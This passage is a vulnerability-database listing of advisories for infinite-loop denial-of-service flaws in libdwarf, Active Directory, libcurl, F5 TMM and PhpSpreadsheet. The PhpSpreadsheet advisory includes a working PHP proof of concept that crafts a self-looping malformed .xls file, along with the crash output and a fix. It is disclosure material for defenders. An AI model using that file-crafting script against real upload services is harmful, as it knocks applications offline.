"affected": [],
"aliases": [
"CVE-2016-5042"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-02-17T17:59:00Z",
"severity": "HIGH"
},
"details": "The dwarf_get_aranges_list function in libdwarf before 20160923 allows remote attackers to cause a denial of service (infinite loop and crash) via a crafted DWARF section.",
"id": "GHSA-xgfr-63pq-c6gp",
"modified": "2022-05-13T01:03:24Z",
"published": "2022-05-13T01:03:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5042"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1332145"
},
{
"type": "WEB",
"url": "https://www.prevanders.net/dwarfbug.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/05/24/1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/05/25/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGHR-2V47-FQX8
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32Loop with unreachable exit condition ('infinite loop') in Windows Active Directory allows an unauthorized attacker to deny service over a network.
{
"affected": [],
"aliases": [
"CVE-2026-54119"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T17:17:04Z",
"severity": "HIGH"
},
"details": "Loop with unreachable exit condition (\u0027infinite loop\u0027) in Windows Active Directory allows an unauthorized attacker to deny service over a network.",
"id": "GHSA-xghr-2v47-fqx8",
"modified": "2026-07-14T18:32:07Z",
"published": "2026-07-14T18:32:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54119"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGR5-38F7-XQVV
Vulnerability from github – Published: 2022-06-03 00:01 – Updated: 2024-03-27 15:30libcurl provides the CURLOPT_CERTINFO option to allow applications torequest details to be returned about a server's certificate chain.Due to an erroneous function, a malicious server could make libcurl built withNSS get stuck in a never-ending busy-loop when trying to retrieve thatinformation.
{
"affected": [],
"aliases": [
"CVE-2022-27781"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-02T14:15:00Z",
"severity": "HIGH"
},
"details": "libcurl provides the `CURLOPT_CERTINFO` option to allow applications torequest details to be returned about a server\u0027s certificate chain.Due to an erroneous function, a malicious server could make libcurl built withNSS get stuck in a never-ending busy-loop when trying to retrieve thatinformation.",
"id": "GHSA-xgr5-38f7-xqvv",
"modified": "2024-03-27T15:30:35Z",
"published": "2022-06-03T00:01:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27781"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1555441"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/08/msg00017.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202212-01"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220609-0009"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5197"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGX2-84J2-CX9M
Vulnerability from github – Published: 2026-05-13 18:30 – Updated: 2026-05-13 18:30When a Client SSL profile is configured with Allow Dynamic Record Sizing on a UDP virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2026-42920"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-13T16:16:49Z",
"severity": "HIGH"
},
"details": "When a Client SSL profile is configured with Allow Dynamic Record Sizing on a UDP virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.\n\u00a0Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-xgx2-84j2-cx9m",
"modified": "2026-05-13T18:30:56Z",
"published": "2026-05-13T18:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42920"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K000160901"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XH5M-36R6-47M3
Vulnerability from github – Published: 2026-07-23 15:01 – Updated: 2026-07-23 15:01Summary
PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.
This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.
Vulnerability details
OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:
src/PhpSpreadsheet/Shared/OLERead.php:82reads the entire file after validating only the OLE magic.src/PhpSpreadsheet/Shared/OLERead.php:84-97reads sector-chain metadata from the file header.src/PhpSpreadsheet/Shared/OLERead.php:132-146buildsbigBlockChainand then follows the small-block depot chain.
The vulnerable loop is:
$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
$pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;
$this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
$pos += 4 * $bbs;
$sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}
There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.
The issue is reachable during normal reader detection/loading:
src/PhpSpreadsheet/Reader/XlsBase.php:153-165callsOLERead::read()fromcanRead().src/PhpSpreadsheet/Reader/Xls.php:376-383callsOLERead::read()fromloadOLE().src/PhpSpreadsheet/IOFactory.php:181-213callscanRead()while creating a reader for a file, so automatic format detection can trigger the issue.
Similar unbounded sector-chain walks exist later in stream reading:
src/PhpSpreadsheet/Shared/OLERead.php:175-180src/PhpSpreadsheet/Shared/OLERead.php:198-202src/PhpSpreadsheet/Shared/OLERead.php:218-222
The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.
Impact
A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.
The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.
Safe local proof of concept
This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.
docker run --rm --network none -i \
-v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
-w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9)); // sector size 512
$set(32, pack("v", 6)); // mini sector size 64
$set(44, pack("l", 1)); // 1 SAT sector
$set(48, pack("l", 0)); // directory first sector 0
$set(56, pack("l", 4096)); // mini stream cutoff
$set(60, pack("l", 0)); // SSAT first sector 0
$set(64, pack("l", 1)); // one SSAT sector
$set(68, pack("l", -2)); // no MSAT extension
$set(72, pack("l", 0)); // no extension sectors
$set(76, pack("l", 0)); // DIFAT says SAT is sector 0
$set(512, pack("l", 0)); // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH
Observed output:
ole_size=1024
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP 1. {main}() Command line code:0
PHP 2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP 3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164
Suggested remediation
- Validate every OLE sector-chain walk with:
- a visited-sector set to reject cycles;
- maximum chain length based on file size and sector size;
- bounds checks before reading from
$this->data,$this->bigBlockChain, or$this->smallBlockChain; - rejection of negative sector IDs other than the documented end-of-chain marker.
- Replace fatal memory exhaustion with a recoverable
Reader\Exceptionfor malformed OLE chains. - Apply the same guarded chain-walk helper to:
- small-block depot chain construction;
- small-block stream extraction;
- big-block stream extraction;
readData().- Add regression tests with self-looping and out-of-range SAT/SSAT chains.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.6"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.6"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.17"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.5"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59933"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-23T15:01:50Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nPhpSpreadsheet\u0027s OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed `.xls`/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, `OLERead::read()` appends the same sector data repeatedly until the PHP process exhausts memory.\n\nThis is reachable from `Reader\\Xls::canRead()` and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.\n\n## Vulnerability details\n\n`OLERead::read()` loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:82` reads the entire file after validating only the OLE magic.\n- `src/PhpSpreadsheet/Shared/OLERead.php:84-97` reads sector-chain metadata from the file header.\n- `src/PhpSpreadsheet/Shared/OLERead.php:132-146` builds `bigBlockChain` and then follows the small-block depot chain.\n\nThe vulnerable loop is:\n\n```php\n$sbdBlock = $this-\u003esbdStartBlock;\n$this-\u003esmallBlockChain = \u0027\u0027;\nwhile ($sbdBlock != -2) {\n $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;\n\n $this-\u003esmallBlockChain .= substr($this-\u003edata, $pos, 4 * $bbs);\n $pos += 4 * $bbs;\n\n $sbdBlock = self::getInt4d($this-\u003ebigBlockChain, $sbdBlock * 4);\n}\n```\n\nThere is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector `0` to sector `0`, the loop appends the same sector data forever until memory is exhausted.\n\nThe issue is reachable during normal reader detection/loading:\n\n- `src/PhpSpreadsheet/Reader/XlsBase.php:153-165` calls `OLERead::read()` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Xls.php:376-383` calls `OLERead::read()` from `loadOLE()`.\n- `src/PhpSpreadsheet/IOFactory.php:181-213` calls `canRead()` while creating a reader for a file, so automatic format detection can trigger the issue.\n\nSimilar unbounded sector-chain walks exist later in stream reading:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:175-180`\n- `src/PhpSpreadsheet/Shared/OLERead.php:198-202`\n- `src/PhpSpreadsheet/Shared/OLERead.php:218-222`\n\nThe proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.\n\n## Impact\n\nA 1 KiB file can crash a PHP worker during `Xls::canRead()` or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.\n\nThe issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the malformed OLE file inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n -w /app ghcr.io/typo3/core-testing-php82:1.15 sh \u003c\u003c\u0027SH\u0027\nset -eu\nphp -r \u0027\n$data = str_repeat(\"\\0\", 1024);\n$set = function (int $off, string $bytes) use (\u0026$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };\n$set(0, hex2bin(\"D0CF11E0A1B11AE1\"));\n$set(28, \"\\xfe\\xff\");\n$set(30, pack(\"v\", 9)); // sector size 512\n$set(32, pack(\"v\", 6)); // mini sector size 64\n$set(44, pack(\"l\", 1)); // 1 SAT sector\n$set(48, pack(\"l\", 0)); // directory first sector 0\n$set(56, pack(\"l\", 4096)); // mini stream cutoff\n$set(60, pack(\"l\", 0)); // SSAT first sector 0\n$set(64, pack(\"l\", 1)); // one SSAT sector\n$set(68, pack(\"l\", -2)); // no MSAT extension\n$set(72, pack(\"l\", 0)); // no extension sectors\n$set(76, pack(\"l\", 0)); // DIFAT says SAT is sector 0\n$set(512, pack(\"l\", 0)); // SAT entry for sector 0 points to itself\nfile_put_contents(\"/tmp/phpspreadsheet-ole-selfloop.xls\", $data);\nprintf(\"ole_size=%d\\n\", filesize(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n\u0027\nphp -d memory_limit=64M -d display_errors=1 -r \u0027\nrequire \"/app/vendor/autoload.php\";\n$r = new PhpOffice\\PhpSpreadsheet\\Reader\\Xls();\nvar_dump($r-\u003ecanRead(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n\u0027 2\u003e\u00261 || true\nSH\n```\n\nObserved output:\n\n```text\nole_size=1024\nPHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143\nPHP Stack trace:\nPHP 1. {main}() Command line code:0\nPHP 2. PhpOffice\\PhpSpreadsheet\\Reader\\XlsBase-\u003ecanRead($filename = \u0027/tmp/phpspreadsheet-ole-selfloop.xls\u0027) Command line code:4\nPHP 3. PhpOffice\\PhpSpreadsheet\\Shared\\OLERead-\u003eread($filename = \u0027/tmp/phpspreadsheet-ole-selfloop.xls\u0027) /app/src/PhpSpreadsheet/Reader/XlsBase.php:164\n```\n\n## Suggested remediation\n\n- Validate every OLE sector-chain walk with:\n - a visited-sector set to reject cycles;\n - maximum chain length based on file size and sector size;\n - bounds checks before reading from `$this-\u003edata`, `$this-\u003ebigBlockChain`, or `$this-\u003esmallBlockChain`;\n - rejection of negative sector IDs other than the documented end-of-chain marker.\n- Replace fatal memory exhaustion with a recoverable `Reader\\Exception` for malformed OLE chains.\n- Apply the same guarded chain-walk helper to:\n - small-block depot chain construction;\n - small-block stream extraction;\n - big-block stream extraction;\n - `readData()`.\n- Add regression tests with self-looping and out-of-range SAT/SSAT chains.",
"id": "GHSA-xh5m-36r6-47m3",
"modified": "2026-07-23T15:01:50Z",
"published": "2026-07-23T15:01:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.